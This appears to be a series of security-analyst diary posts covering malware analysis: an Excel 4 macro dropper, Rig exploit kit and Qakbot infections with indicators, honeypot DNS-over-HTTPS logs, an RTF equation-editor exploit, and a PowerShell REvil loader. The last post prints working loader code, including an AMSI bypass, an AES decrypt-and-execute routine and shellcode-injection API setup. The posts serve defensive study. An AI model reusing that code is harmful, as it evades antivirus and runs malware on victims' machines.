Recently I had to analyze an Excel malicious file that was caught in the wild, in a real attack. The file was used in a spear phishing attack where a victim was enticed into opening the file with Excel and, of course, enabling macros.

The image below shows what the file looks like when opened in Excel:

As you can see, it is a very common malicious Excel file where the victim is supposed to click on the Enable content button to see the document. Of course, once the victim does that it is game over and the machine gets infected. My goal was to analyze the malicious Excel file to identify what exactly it is doing.

Typically, the first step to analyze such a document would be verify macros with Didier’s oledump.py tool, which is the de-facto standard malicious document analysis tool (the FOR610 instructors are joking that Day 3 of FOR610 is Didier’s day, since he wrote so many useful tools).

However, as you can see below, I was a bit disappointed to see that there are no macros – this normally means that the attacker is using Excel 4 macros – an old way of creating active content:

$ python3 oledump.py ~/source.xls 
  1:      4096 '\x05DocumentSummaryInformation'
  2:      4096 '\x05SummaryInformation'
  3:    162264 'Workbook'

Both Didier and Xavier wrote a number of diaries about analyzing Excel 4 macros (available here and here), so the next step was to use the BIFF plugin Didier wrote, which allows output of BIFF records – these hold Excel 4 macros (formulas really), so let’s do that:

Ok, we’re getting somewhere, however there were thousands of lines like this in the output:

Not nice. This means that Didier’s BIFF plugin does not know how to parse these bytes, which define a currently unknown formula. Didier also wrote about another tool that can be used to deobfuscate malicious Excel files, XLMMacroDeobfuscator (read the diary here) so I thought about trying that as well:

Hmm, a bit better but we still do not know what exactly this file is doing. There are two important things we can see in XLMMacroDeobfuscator’s output though:

1. First, we can see that there is a cell with the name of Auto_Open. The contents of this cell will be executed (if it is a formula) automatically when this Excel file is open, after the user has clicked on the Enable content button, of course.
2. Second, we can see that the last two functions that are called are WORKBOOK.UNHIDE and WORKBOOK.HIDE. These do exactly as their names say – they will hide one workbook and unhide another – this will result in the final, decoy content to be shown to the victim (no screenshot, sorry, as it contains sensitive information about the target).

Armed with this knowledge I wanted to dig further into the file. While most researchers might prefer static analysis since it is safer, in this case such analysis might be very difficult or time consuming. The main reason is that the tools we have on our disposal failed to completely parse the document (as shown above) and, besides this, the file is heavily obfuscated with a number of formulas and calculations that are performed automatically by Excel.

So, I decided to go with dynamic analysis of the file – cool thing is that, at least for this case, we do not need any other tools but Excel. Of course, by running malicious code we will be putting ourselves to risk, so if you ever need to perform a similar analysis, make sure that you do it in a VM, without Internet access (or you will be really living on the edge).

Since this malicious document does not have a VBA macro, it relies on executing formulas. Excel will generally execute formulas top to bottom in a column, then move to the next column and so on. This does not necessarily has to be in this order, but in all cases I have checked it was. Our first step will be to find the cell (formula) that gets executed first – XLMMacroDeobfuscator already told us that it is a cell in the “Sheet_vrg” tab of this document, and that the cell is $HV$19420 (column HV, row 19420). We can also see this by opening the malicious file in Excel (notice I am not enabling content yet!) and then going to Formulas -> Name Manager. We will see this very same cell displayed, as shown in the figure below:

Let’s scroll now to this cell to see what its contents look like:

Aha – this is actually what XLMMacroDeobfuscator showed to us, but it partially evaluated the contents so we still do not know what this code actually does. So let’s see how we can dynamically analyze this document. Excel actually allows us to manually evaluate any formula shown in the document. All we have to do is right click on a cell, but the catch-22 here is that we have to click on Enable content in order to do that, and by doing this we will execute the malicious macro.

The solution is, luckily, relatively simple. A function called HALT() exists that does exactly what the name says, so we can manually insert this function in a free cell and then change the Auto_Open name to point to our cell. What’s even better – in the image above you can see that there is already a cell with the =HALT() function (it’s the last one), so let’s just change Auto_Open to that cell:

Now we can safely click on the Enable content button and nothing will happen! We will stop at the =HALT() function but we can now inspect other cells and contents around this file.

Since the document is heavily obfuscated, we will want to somehow debug it – single step through it. In this particular case, this was not all that difficult, but keep in mind that with a very complex and obfuscated document, the following activities might be more difficult to perform (but still easier than performing static analysis).

What we will want to do here is (ab)use the =HALT() function to execute a formula in a single cell and then stop the execution. This will allow us to examine what happened, evaluate the formula and continue. In the example below, you can see that I copied contents of all cells under the first one (the original Auto_Open cell) and put =HALT() in the cell immediately after the first one. This will cause Excel to stop processing formulas:

We can now use Excel’s built-in evaluation. In order to do that we will right click on the first cell, select Run and then Step Into. This is what we will get:

Pretty cool! Notice that nice “Evaluate” button? Let’s see what it does:

So this is what the first cell does! Depending on how complex this is, we might need to click on “Step Into”, which will take us further down the rabbit hole (Hi Neo!) and we will start evaluating whatever is under this particular function. Since I was impatient I clicked on “Continue” – remember that I put our “breakpoint” with the =HALT() function and this will be kind of similar to pressing F9 in your debugger.

In this document there was a bunch of functions called by the top one – most of them actually deobfuscated various content which is now populated in “new” cells in this worksheet. Keep this in mind – a nasty document could actually change contents of our =HALT() cell, which would lead to the payload fully executing.

Since it was not the case here, we continue by shifting the =HALT() breakpoint to the next row, like this:

You can probably guess what we’ll do next – right click on the =REGISTER() cell, click on Run then Step Into, and this is what we get:

Let’s Evaluate this again – it should work because the cell that got executed before populated what this (currently executing) cell needs:

Interesting! The REGISTER() function allows us to create a defined name which will point to a function in an external DLL. Sounds fantastic for the attacker – what they are doing here is create a name called “bBpmgyvS” which will point to the CreateDirectoryA function in the Kernel32.dll library. It is quite clear that the attacker will want to create a directory on the local machine.

And now it is rinse and repeat – we use the same method to evaluate all other cells until we figure out what the document is doing. The one I was analyzing uses the same mechanism to create another name that points to URLDownloadToFileA from the URLMON.dll library, which is used to download the second stage binary.
The same mechanism is again used to create a name that points to ShellExecuteA function from the Shell32.dll library which executes the downloaded binary.

At the end, the attacker hides this sheet and shows a decoy one.

And this leads us to the end of this diary/tutorial. I hope you found it interesting and useful, and that it will help someone analyze such heavily obfuscated Excel 4 macro malicious files which, this time with help of Microsoft’s own Excel can be relatively easily dynamically analyzed.

Finally, I have to stress out one more time that you should be ultra careful when performing such an analysis since we will be executing malicious code.
 

--
Bojan
@bojanz
INFIGO IS

Introduction

As this week winds down, I wanted to highlight a threat that's significantly diminished in recent years.  For today's #ThrowbackFriday, I'm reviewing an example of Rig exploit kit (EK) generated yesterday on Thursday 2021-01-14.

History of Rig EK

EKs are a malware distribution method.  They're channels to send malware to vulnerable Windows hosts.  An EK's payload is Windows-based malware.

Rig EK was discovered in 2014, back when EKs were much more common than today.  Like other EKs in 2014, Rig exploited Internet Explorer (IE) and browser-based applications that worked with IE like Java, Flash, and Silverlight.  Since then, people have increasingly moved to other browsers like FireFox and Chrome.  Because of this, EK activity began to decline.

Windows 10 was introduced in 2015 with Microsoft Edge as its default browser.  As more people switched to Windows 10, some EKs disappeared.  Rig EK continued to decline, with a substantial drop in 2017.  By 2018, Rig EK was one of only a few remaining EKs.  Today, people still discover examples of Rig EK, but it's only effective against out-of-date hosts running Windows 7 and using IE.

To prepare for throwback Friday, I fired up a vulnerable Windows 7 host, opened IE 11, and entered a URL that led to Rig EK.

Gate to Rig EK

An HTTPS gate that leads to Rig EK has been active since December 2020:

• hxxps://anklexit[.]online/twDGMjtfsacfa3e

On 2020-12-24, @nao_sec tweeted an example of Rig EK pushing SmokeLoader that contained the above URL.  Earlier this month, Rig EK from the same gate pushed Dridex.

URLs like this act as a gate to an EK.  This gate wouldn't direct me to Rig EK when I tried it through a VPN.  However, tethering through my phone worked.  These gates are somewhat picky.  Use the gate once, and it might work.  But try it again from the same IP address, and it prevents you from reaching the EK again.  You generally have to wait 12 to 24 hours before the gate will work again, if you're coming from the same IP address.

Traffic from an infection

See the below images for traffic from the infection.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Rig EK landing page shown in an HTTP stream.

Shown above:  Dridex installer EXE sent by Rig EK as an encrypted binary.

Shown above:  Certificate issuer data for HTTPS traffic generated by Dridex installer.

To get a better understanding of Dridex infection traffic, see this Wireshark tutorial I wrote about it last year.

Forensics on an infected Windows host

While the Rig EK payload (an EXE to install Dridex) generated HTTPS command and control (C2) traffic, it wasn't able to install Dridex on the victim host.  So I only saw the Dridex installer EXE.  I also captured a small file (approx 1 kB) of JavaScript text used by Rig EK before it was deleted during the infection process.

Shown above:  Artifacts from the infection caused by Rig EK.

Indicators of Compromise (IOCs)

The following are indicators from this infection.

Traffic from an infected Windows host:

• 188.225.75[.]54 port 443 - anklexit[.]online - HTTPS URL - gate to Rig EK
• 188.227.106[.]164 port 80 - 188.227.106[.]164 - Rig EK
• 162.241.44[.]26 port 9443 - HTTPS traffic caused by Dridex installer
• 185.184.25[.]234 port 4664 - attempted TCP connection caused by Dridex installer
• 138.201.138[.]91 port 3389 - attempted TCP connection caused by Dridex installer

Certificate issuer data from Dridex HTTPS traffic to 162.241.44[.]26 over TCP port 9443:

• id-at-countryName=DS
• id-at-stateOrProvinceName=Tholend finck4
• id-at-localityName=Khartoum
• id-at-organizationName=Antymasu PEEC
• id-at-commonName=anompatof.rip

Malware/artifacts from the infected Windows 7 host:

SHA256 hash: 209093c71d0e87df00a290c588a5147e1e14023402f317d7903c6402d52a87ee

• File size: 98,819 bytes
• File location: hxxp://188.227.106[.]164/?MzA1NTIz&pwDDc&AcAZl=pinny.866&shghfg[long string]
• File description: HTML for Rig EK landing page

SHA256 hash: f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

• File size: 1,152 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\3.tMp
• File description: JavaScript text file dropped by Rig EK

SHA256 hash: 0376f97c21d2f00bc9c0919ce108ef14a2b3b1b356b2caa502a6cae81c7798f2

• File size: 1,198,592 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\jv9qx.exe
• File description: Rig EK payload, Windows EXE to install Dridex malware

Final Words

Pcap and malware/artifacts for this diary can be found here.

I wonder how it long this method of malware distribution will remain profitable.  Apparently, enough people currently use out-of-date vulnerable Windows hosts.  I guess this presents a big enough target base for the people behind Rig EK.

Every time I find Rig EK, I think back to all the entries I posted on my blog from 2013 through 2016 featuring Rig and other EK infections.  That's why I consider today's diary a #ThrowbackFriday.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

This week I started seeing some URL with /dns-query?dns in my honeypot[1][2]. The queries obviously did not look like a standard DNS queries, this got me curious and then proceeded to investigate to determine what these DNS query were trying to resolve.

But before proceeding, I have logs going back to May 2018 and reviewed the logs to see when this activity was first captured. The first time the honeypot logged something similar was in February 2020 with one long query that was different to all other queries. All the logs are targeting TCP/443 and are unencrypted.

Using base64 URL safe option in CyberChef, I was able to decode the DNS information for the 3 different queries. The first query captured in February 2020 appears to be a test (see decoded information below). The other two resolve to a URL: one as a test (www.example[.]com) and the other to Baidu search engine (www.baidu[.]com).

Sample Logs

• tcp-honeypot-20200212-195552.log:20200226-230039: 192.168.25.9:443-54.153.67.242:59822 data 'GET /dns-query?dns=AAABAAABAAAAAAAAAWE-NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.30.102.198:443\r\nConnection: close\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r\n\r\n'
• tcp-honeypot-20200413-081332.log:20200413-171212: 192.168.25.9:443-195.37.190.77:40634 data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.1\r\nHost: XX.30.102.198\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'

[...]

• 20210112-110540: 192.168.25.9:443-39.96.138.251:60736 data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.49.33.78\r\nUser-Agent: Go-http-client/1.1\r\nAccept: application/dns-message\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
• 20210113-040125: 192.168.25.9:443-161.117.239.46:49778 data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.49.33.78\r\nUser-Agent: Go-http-client/1.1\r\nAccept: application/dns-message\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'

Base64 Decoded Queries

• AAABAAABAAAAAAAAAWE-NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ .............a>62characterlabel-makes-base64url-distinct-from-standard-base64.example.com.....
• AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ   .............www.baidu.com.....
• AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB .............www.example.com.....

DNS Queries by Base64 String

• IP Activity resolving to www.example[.]com has been active since April 2020 with 2 packets per month.
• User-Agent → Mozilla/5.0 (compatible; DNSResearchBot/2.1; +http://195.37.190.77)

195.37.190[.]77

====================

• IP Activity resolving to www.baidu[.]com only started in December 2020 and has been active since then.
• User-Agent → Go-http-client/1.1

39.96.138[.]251
39.96.139[.]173
39.96.139[.]223
39.96.140[.]32
47.74.84[.]52
47.241.66[.]187
54.153.67[.]242

====================

• IP Activity resolving to 62characterlabel-makes-base64url-distinct-from-standard-base64.example.com only seen once in February 2020 which appears to be only a test.
• Something interesting, 62characterlabel-makes-base64url-distinct-from-standard-base64 is equal to 62 characters
• User-Agent → Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36

161.117.239[.]46

====================

Do you have similar obfuscated DNS queries in your logs? Please use our comment form to share them.

[1] https://github.com/DidierStevens/Beta/blob/master/tcp-honeypot.py
[2] https://www.inetsim.org/documentation.html
[3] https://gchq.github.io/CyberChef/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Version 13.01 of Sysmon was released, a Windows Sysinternals tool to monitor and log system activity.

This version adds detection for process tampering, like process hollowing and process herpaderping. You use ProcessTampering in your configuration to activate it.

Here is an example of process hollowing detection:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A reader pointed us to a malicious Word document.

First, I run my strings.py command on it, with option -a to get statistics (see my diary entry "Strings 2021").

There aren't any long strings in this file (the longest is 33 characters). So there isn't a payload here that we can extract directly, like we did in diary entry "Maldoc Strings Analysis".

Let's check if there are URLs in this file, by grepping for http:

Unfortunately, none.

Let's take a look at the longest strings (-n 20: strings at least 20 characters long):

If you are a bit familiar with the internals of Word documents, you might recognize this as the name of XML files found inside OOXML files (.docx, .docm, .xlsx, ...).

Let's try oledump.py:

This means that there are no OLE files inside this OOXML file, hence no VBA macros.

Since an OOXML is an OPC file, e.g. a ZIP container, let's take a look with my tool zipdump.py:

It looks like this OOXML file only contains XML files (extensions .xml and .rels). Let's verify by getting statistics of the content of the contained files, by using option -e:

Here is a close look on the statisctics:

All contained files starts with <?xm and have only printable ASCII characters (except one file with 90 bytes >= 127).

So we have no binary files in here, just text files. One possible scenario, is that this .docx file contains a reference (URL) to a malicious payload.

Next step, is to extract all files and search for URLs in them. Now, in Office OOXML files, you will find a lot of legitimate URLs. To get an idea of what type of URLs we have in this document, we use my re-search.py tool to extract URLs, and display a unique list of hostnames found in these URLS, like this:

The following hostnames are legitimate, and found in Office OOXML files:

schemas.openxmlformats.org
schemas.microsoft.com
purl.org
www.w3.org

But the IP address is not. So let's extract the full URLs now, and grep for 104:

I downloaded this document. Let's start again with strings:

4555 characters long: this might be a payload. Let's take a look:

This looks like a lot of hexadecimal data. That's interesting. And notice the 3 curly braces at the end. Hexadecimal data and curly braces: this might be a malicious RTF document. Let's check with the file command (I use my tool file-magic.py on Windows):

This is indeed an RTF file. RTF files can not contain VBA code. If they are malicious, they often contain an exploit, stored as (obfuscated) hexadecimal characters inside the RTF file. Hence the strings command will not be of much use.

I recently updated my tool rtfdump.py to make analysis of embedded objects (like malicious payloads) easier. We use the new option -O to get an overview of all objects found inside this RTF file:

There's one object with name equation... . It's very likely that this is an exploit for the equation editor, and that we have to extract and analyze shellcode.

Let's extract this payload and write it to a file:

Let's see if there are some intesting strings:

Nothing interesting.

The equation editor that is targeted here, only exists as a 32-bit executable. Hence the shellcode must also be 32-bit, and we can use the shellcode emulator scdbg to help us.

We use option -f findsc to let scdbg search for entrypoints, option -r to produce a report, and -f shellcode to pass the shellcode file for analysis:

The shellcode emulator found 4 entry points (numbered 0 to 3). I select entry point 0. This results in the emulation of shellcode, that calls the Win32 API (GetProcAddress, ...). This is clearly 32-bit Windows shellcode. And it decodes itself into memory. We can use option -d to dump the decoded shellcode:

This creates a file: shellcode.unpack. Let's use strings again on this file:

This looks more promising. What are the longest strings:

And finally, we have our URL.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

=============== Rob VandenBrink

Gordon quickly provides threat & risk information about observables

Gordon is a great website for security analysis and threat intelligence practitioners courtesy of Marc-Henry Geay of France.
It’s a fine offering that quickly provides threat and risk information about observables such as IPv4 addresses, URLs, Domains/FQDNs, MD5, SHA-1, SHA-256 hashes, or email addresses.

All aspirations and architecture for Gordon are available in Marc-Henry’s Medium post, as well as his About content.
You really need only know the following in any detail:

• Gordon submits your observables (IOCs) to multiple sources (30+ engines) to ensure good coverage.
• Observables are only searched in open security databases’ existing records (passive).
• Results can be viewed and shared for up to 3 days, thereafter they are deleted, Marc-Henry has EU privacy regulations to contend with.
• Results are available as Summary Reports with risk-based coloration for some engines, and can be exported as PDF, CSV, and XLSX.

I gave Gordon a quick test using IPv4 IOCs from the Cisco Talos Threat Advisory: SolarWinds supply chain attack. Gordon limits you to 15 observables at most, and note that it favors non-Microsoft browsers, so I experimented via Firefox. Using ten IP IOCs, separated one per line, I received swift results as seen in Figure 1.

Figure 1: Gordon IPv4 SUNBURST results

As noted, Figure 1: shows IPvs SUNBURST IOC results that are precise and color coded by risk.
Using ten SHA-256 hashes from the Talos report for my next query I opted to export the results as an Excel document, then sorted by malicious results only.

Figure 2: Gordon SHA-256 query results

Again, the SUNBURST SHA-256 IOC results are robust and detailed. I’ve certainly added Gordon to my favorites list and suggest you consider doing the same.

Cheers…until next time.

Russ McRee | @holisticinfosec

Introduction

Although the botnet infrastructure behind Qakbot was active as we entered this year, we hadn't seen any active campaigns spreading Qakbot.  Qakbot had been quiet since a few days before Christmas.  We saw no new malicious spam (malspam), and we saw no new Excel spreadsheets that we typically find during active campaigns.

It had been relatively quiet for Qakbot until Tuesday 2021-01-19, when we started seeing malicious spam (malspam) pushing Qakbot again.  @BushidoToken tweeted about it here.

Today's diary examines a Qakbot infection from Tuesday 2021-01-19.

Shown above:  Flow chart for recent Qakbot activity.

The malspam

No changes here.  Qakbot malspam typically spoofs stolen email chains from previously-infected Windows hosts, and it feeds the data to currently-infected Windows hosts that send new malspam pushing updated files for Qakbot.  See the image below for an example from Tuesday 2021-01-19.

Shown above:  An example of Qakbot malspam from Tuesday 2021-01-19.

Shown above:  Screenshot from one of the spreadsheets I used to infected a Windows host with Qakbot.

Infection traffic

See the images below for my analysis of network traffic from the Qakbot infection.

Shown above:  Traffic from the Qakbot infection filtered in Wireshark.

Shown above:  Excel macro retrieving the initial DLL file for Qakbot.

Shown above:  More post-infection activity from the Qakbot-infected Windows host.

Shown above:  Traffic over TCP port 65400 caused by Trickbot.

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 1 of 3).

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 2 of 3).

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 3 of 3).

Forensics on infected Windows host

See the images below for my forensic investigation on the infected Windows host.

Shown above:  Initial Qakbot DLL saved to the infected Windows host.

Shown above:  Other artifacts from the infected Windows host.

Shown above:  Windows registry updates caused by Qakbot on the infected host.

Indicators of Compromise (IOCs)

SHA256 hash: 8ebba35fa60f107aa4e19fa39ae831feab4ffb1718bdca016670d3898b2fe4fc

• File size: 25,543 bytes
• File name: Complaint_Copy_1206700885_01192021.xlsm
• File description: Spreadsheet with macro for Qakbot

SHA256 hash: f9560829534803161c87666795f0feab028ff484fac5170b515390b50e8050fd

• File size: 1,545,688 bytes
• File location: hxxp://senzo-conseil-expat[.]fr/bqkckb/5555555555.jpg
• File location: C:\Users\[username]\AppData\Roaming\KKEEDTT.DEEREDTTDVD
• File description: Initial DLL for Qakbot
• Run method: rundll32.exe [filename],DllRegisterServer

HTTP request caused by Excel macro to retrieve DLL for Qakbot:

• 51.210.14[.]58 port 80 - senzo-conseil-expat[.]fr - GET /bqkckb/5555555555.jpg

HTTPS traffic from the infected host:

• 95.76.27[.]6 port 443
• 185.14.30[.]127 port 443
• 172.115.177[.]204 port 2222

Web traffic connectivity checks from the infected host (HTTPS traffic):

• port 443 - www.openssl.org
• port 443 - api.ipify.org

TCP traffic from the infected host:

• 54.36.108[.]120 port 65400

Connectivity checks to mail servers from the infected host:

• 172.217.195.109 port 993 - imap.gmail.com
• 108.177.104.28 port 25 - smtp-relay.gmail.com
• 108.177.104.28 port 465 - smtp-relay.gmail.com
• 108.177.104.28 port 587 - smtp-relay.gmail.com
• 64.29.151.102 port 110 - mail.myfairpoint.net
• 64.29.151.102 port 143 - mail.myfairpoint.net
• 74.6.106.29 port 995 - inbound.att.net

Certificate issuer data for HTTPS traffic to 95.76.27[.]6 over TCP port 443:

• id-at-countryName=NL
• id-at-stateOrProvinceName=ED
• id-at-localityName=Dadoe
• id-at-organizationName=Letx Uqe Dzcmtewzs Kctonlfg Inc.
• id-at-commonName=epeivate.biz

Certificate issuer data for HTTPS traffic to 185.14.30[.]127 over TCP port 443:

• id-at-countryName=US
• id-at-stateOrProvinceName=NY
• id-at-localityName=New York
• id-at-organizationName=cloudservers03.com
• id-at-commonName=cloudservers03.com

Certificate issuer data for HTTPS traffic to 172.115.117[.]204 over TCP port 2222:

• id-at-countryName=DE
• id-at-stateOrProvinceName=IQ
• id-at-localityName=Aeur
• id-at-organizationName=Cepasduq Nqo Ooifzetkp Mqen
• id-at-commonName=ltxkvijevns.com

Final words

A pcap of the infection traffic along with malware (Excel file and DLL) from an infected host can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

I spotted a piece of Powershell code that deserved some investigations because it makes use of RunSpaces[1]. The file (SHA256:e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf) has a very low VT score: only 1/59![2].

The technique behind RunSpaces is helpful to create new threads on the existing Powershell process, and you can simply add what you need to it and send it off running. Here is an example of Runspace created by the malicious script:

$wabyynegzji = [runspacefactory]::CreateRunspace()
$wabyynegzji.ApartmentState = "STA"
$wabyynegzji.ThreadOptions = "ReuseThread"
$wabyynegzji.Open()
$vkzggaes = [PowerShell]::Create()
$vkzggaes.Runspace = $wabyynegzji
$vkzggaes.AddScript($pqxsxzakx) | out-null
$vkzggaes.BeginInvoke() | out-null

The interesting line is the one which contains ‘AddScript’. It is used to attach the piece of Powershell code to be executed in the new threat. Here is the code (located in a separate Script Block):

[Scriptblock]$pqxsxzakx = {
  try{
    [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField( \
      'amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)
  }catch{}
}

This is a classic bypass for logging and AV detection[3]. Then, a second RunSpace is started:

$mnibvakvi =[runspacefactory]::CreateRunspace()
$mnibvakvi.ApartmentState = "STA"
$mnibvakvi.ThreadOptions = "ReuseThread"
$mnibvakvi.Open()
$mnibvakvi.SessionStateProxy.SetVariable("gbwqmnxwc", "L6jelvDCcKXK9A/+Lqto/5i9HtEK4jSsSdITqsGlgtQ=")
$slqcphetxifbl = [PowerShell]::Create()
$slqcphetxifbl.Runspace = $mnibvakvi
$slqcphetxifbl.AddScript($zupcppfvxbxgvwbivbq) | out-null
$slqcphetxifbl.BeginInvoke() | out-null

This block of code will decrypt and inject the payload in the current Powershell process. Note that you can pass variables to a RunSpace. In the example above, "gbwqmnxwc" contains the decryption key of the payload:

[Scriptblock]$zupcppfvxbxgvwbivbq = {
  function tyefcaneraxdmqsfh($gbwqmnxwc, $qpzspadssix, $iizcnwcbb) {
    $uuvqwwqjjkcolarhdeox=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $uuvqwwqjjkcolarhdeox.Mode="CBC";
    $uuvqwwqjjkcolarhdeox.Padding = "Zeros";
    $uuvqwwqjjkcolarhdeox.BlockSize = 128;
    $uuvqwwqjjkcolarhdeox.KeySize = 256;
    $uuvqwwqjjkcolarhdeox.IV = $qpzspadssix;
    $uuvqwwqjjkcolarhdeox.Key = $gbwqmnxwc;
    $lafcsowawwnwcm=$uuvqwwqjjkcolarhdeox.CreateDecryptor();
    $trgkzwqbqqbuteoe=$lafcsowawwnwcm.TransformFinalBlock($iizcnwcbb, 0, $iizcnwcbb.Length);
    return [System.Text.Encoding]::UTF8.GetString($trgkzwqbqqbuteoe).Trim([char]0)
  }

  $yweudaxvekawvopqdwdr = “___PAYLOAD_REMOVED___;
  $yweudaxvekawvopqdwdr = [System.Convert]::FromBase64String($yweudaxvekawvopqdwdr);
  $qpzspadssix = "+ViLpnC7vTHGHv6nVAcTXw==";
  $qpzspadssix = [System.Convert]::FromBase64String($qpzspadssix);
  $gbwqmnxwc = [System.Convert]::FromBase64String($gbwqmnxwc);
  $trgkzwqbqqbuteoe = tyefcaneraxdmqsfh $gbwqmnxwc $qpzspadssix $yweudaxvekawvopqdwdr;
  iex $trgkzwqbqqbuteoe;
}

The decrypted code is executed via Invoke-Expression("IEX"). Here is the interesting part of the code which loads the required API calls for performing the injection:

$VirtualAllocAddr = Get-ProcessAddr kernel32.dll ('Virt'+'ualA'+'lloc')
$VirtualAllocDelegate = Get-DelType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, \
  $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcessAddr kernel32.dll ('Vi'+'rtualFr'+'ee')
$VirtualFreeDelegate = Get-DelType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, \
  $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcessAddr kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad")
$CreateThreadDelegate = Get-DelType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcessAddr kernel32.dll ("Wa"+"it"+"ForSi"+"ngl"+"eObje"+"ct")
$WaitForSingleObjectDelegate = Get-DelType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = \
  [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

The shellcode is injected and decoded:

$hex_str = “__PAYLOAD_REMOVED__”
$Shellcode = [byte[]] -split ($hex_str -replace '..', '0x$& ')
[IO.File]::WriteAllBytes("c:\shellcode.tmp", $Shellcode)
Invoke-Shcd $Shellcode

Let’s have a look at the shellcode now. It’s not starting at offset 0x0 but around 0x770:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ xxd -s +1900 shellcode.tmp |head -20
0000076c: 8b44 1624 8d04 580f b70c 108b 4416 1c8d  .D.$..X.....D...
0000077c: 0488 8b04 1003 c2eb db4d 5a90 0003 0000  .........MZ.....
0000078c: 0004 0000 00ff ff00 00b8 0000 0000 0000  ................
0000079c: 0040 0000 0000 0000 0000 0000 0000 0000  .@..............
000007ac: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000007bc: 0000 0000 00f0 0000 000e 1fba 0e00 b409  ................
000007cc: cd21 b801 4ccd 2154 6869 7320 7072 6f67  .!..L.!This prog
000007dc: 7261 6d20 6361 6e6e 6f74 2062 6520 7275  ram cannot be ru
000007ec: 6e20 696e 2044 4f53 206d 6f64 652e 0d0d  n in DOS mode...
000007fc: 0a24 0000 0000 0000 00c5 3aa4 0881 5bca  .$........:...[.
0000080c: 5b81 5bca 5b81 5bca 5bba 05cf 5a80 5bca  [.[.[.[.[...Z.[.
0000081c: 5bba 05c9 5a82 5bca 5bba 05ce 5a80 5bca  [...Z.[.[...Z.[.
0000082c: 5b5c a404 5b80 5bca 5b5c a401 5b86 5bca  [\..[.[.[\..[.[.
0000083c: 5b81 5bcb 5ba3 5bca 5b5c a41a 5b80 5bca  [.[.[.[.[\..[.[.
0000084c: 5b16 05ce 5a9b 5bca 5b16 05c8 5a80 5bca  [...Z.[.[...Z.[.
0000085c: 5b52 6963 6881 5bca 5b00 0000 0000 0000  [Rich.[.[.......
0000086c: 0000 0000 0000 0000 0050 4500 004c 0105  .........PE..L..
0000087c: 0012 c4bf 5f00 0000 0000 0000 00e0 0002  ...._...........
0000088c: 210b 010e 0000 b800 0000 2201 0000 0000  !.........".....
0000089c: 001e 4300 0000 1000 0000 d000 0000 0000  ..C.............

Let’s extract this executable and have a look at it. Let’s skip the non-interesting bytes:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ tail -c +1926 shellcode.tmp >shellcode.exe

The PE file (SHA256:2fc374346290aaf1060840a5125d9867f99d192b03bfbef94268c2b679d6f905) is unknown on VT but it’s a REvil ransomware. How did I learn this easily?

When I’m teaching the SANS FOR610[4] class about malware analysis, I like to insist on the importance of using a lab completely disconnected from other networks because some weird things may (will!) happen… Because a picture is worth a thousand words, have a look at my lab:

I simply put a breakpoint in my debugger… at the wrong place! I executed the code and the breakpoint was never reached but the ransomware did the job.

